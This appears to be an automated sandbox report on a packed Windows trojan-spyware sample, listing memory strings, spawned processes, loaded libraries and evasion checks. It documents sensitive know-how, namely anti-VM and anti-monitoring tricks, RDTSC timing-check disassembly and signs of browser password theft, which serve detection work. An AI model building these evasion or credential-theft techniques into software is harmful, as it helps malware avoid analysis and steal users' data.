Source: file.exe, 00000004.00000003.1820431560.00000000060A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1819858091.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000002.1941635347.00000000014FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1819006136.00000000060AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1819567722.00000000061DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1816562524.00000000060AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1811916861.000000000624D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1855701490.0000000005C97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1809996985.00000000060AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1810832178.0000000006180000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1818869024.00000000062E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1810504777.00000000060AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1808496875.00000000060AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1811335063.000000000617A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1818587812.00000000061C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1821758952.00000000060A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1815119169.00000000062B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1812498619.00000000060A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1809491042.00000000060AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000004.00000003.1808029601.00000000061F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9975129757785467
Source: file.exe	Static PE information: Section: wnwdjewy ZLIB complexity 0.9946838052126711

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/61@7/5

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000004.00000003.1378340894.0000000005C19000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377859730.0000000005C38000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1615462324.0000000005C30000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 51%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2000,i,1216754078146385774,10229493209722040529,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=1912,i,604844754400546149,4570885901595365949,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2000,i,1216754078146385774,10229493209722040529,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=1912,i,604844754400546149,4570885901595365949,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1885696 > 1048576

Source: file.exe

Static PE information: Raw size of wnwdjewy is bigger than: 0x100000 < 0x1a4400

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 4.2.file.exe.5b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wnwdjewy:EW;wpqjrpee:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wnwdjewy:EW;wpqjrpee:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d710e should be: 0x1d681a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: wnwdjewy
Source: file.exe	Static PE information: section name: wpqjrpee
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0660EBE3 push 66BD8C7Ah; mov dword ptr [esp], ecx	4_2_0660EC15
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661108F push 19082372h; mov dword ptr [esp], edi	4_2_06611241
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06661644 push esi; mov dword ptr [esp], edx	4_2_06661A03
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06661644 push esi; mov dword ptr [esp], eax	4_2_06661A4D
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06661644 push 4529DFF3h; mov dword ptr [esp], edx	4_2_06661A81
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06661644 push 6B33DCB2h; mov dword ptr [esp], ebx	4_2_06661B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06661644 push ecx; mov dword ptr [esp], 50816D40h	4_2_06661B72
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06661644 push edi; mov dword ptr [esp], 1FB243E8h	4_2_06661BE2
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06610E4A push ebx; mov dword ptr [esp], eax	4_2_06610E57
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06610E4A push eax; mov dword ptr [esp], ecx	4_2_066113FE
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661062C push ebp; mov dword ptr [esp], esi	4_2_06610EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06610637 push ebp; mov dword ptr [esp], ebx	4_2_066106BF
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06610637 push eax; mov dword ptr [esp], edx	4_2_066125DB
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06610E0D push edi; mov dword ptr [esp], esi	4_2_06610E31
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661060C push 70315DB7h; mov dword ptr [esp], esi	4_2_06610621
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0660EEE4 push eax; mov dword ptr [esp], ecx	4_2_0660EF34
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066136D9 push ebx; mov dword ptr [esp], ebp	4_2_06615119
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06612EA3 push edi; mov dword ptr [esp], esi	4_2_06612EAF
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06612EA3 push 62142B17h; mov dword ptr [esp], ebp	4_2_06614FA5
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0660C6B3 push ebx; mov dword ptr [esp], edx	4_2_0660C6B4
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661368D push 4116169Dh; mov dword ptr [esp], ebx	4_2_06613692
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06610F59 push edi; mov dword ptr [esp], 7013EAA5h	4_2_066104BB
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0660BF2B push ecx; mov dword ptr [esp], eax	4_2_0660BF5A
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06661FF6 push 81000000h; iretd	4_2_06661FFB
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066107F0 push esi; mov dword ptr [esp], eax	4_2_06613B01
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0660BFF7 push ebx; mov dword ptr [esp], ecx	4_2_0660C01D
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066117C9 push ecx; mov dword ptr [esp], edi	4_2_066117CA
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066117D2 push ecx; mov dword ptr [esp], esi	4_2_066117D9
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0660BFDD push esi; mov dword ptr [esp], ebx	4_2_0660C9EA
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066107A2 push ebx; mov dword ptr [esp], ecx	4_2_066107A3
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066107A2 push ecx; mov dword ptr [esp], edx	4_2_066107A7

Source: file.exe	Static PE information: section name: entropy: 7.981571299929018
Source: file.exe	Static PE information: section name: wnwdjewy entropy: 7.953134009901093

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6095CA second address: 6095D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F72A0D3A7F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6095D8 second address: 6095EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F72A05280E8h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6095EA second address: 6095EF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608EAE second address: 608EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789266 second address: 78926C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788499 second address: 7884D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F72A05280F8h 0x0000000c popad 0x0000000d push ecx 0x0000000e pushad 0x0000000f jmp 00007F72A05280F4h 0x00000014 ja 00007F72A05280E6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788795 second address: 7887B0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 jo 00007F72A0D3A7F6h 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F72A0D3A7FBh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788960 second address: 788976 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788976 second address: 788992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A0D3A806h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788992 second address: 788997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788997 second address: 78899E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78899E second address: 7889C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F72A05280F5h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F72A052810Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788B57 second address: 788B7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A804h 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F72A0D3A7F6h 0x0000000f jg 00007F72A0D3A7F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788B7B second address: 788B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B051 second address: 78B055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B055 second address: 78B068 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F72A05280E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B068 second address: 78B071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B071 second address: 78B08F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007F72A05280ECh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
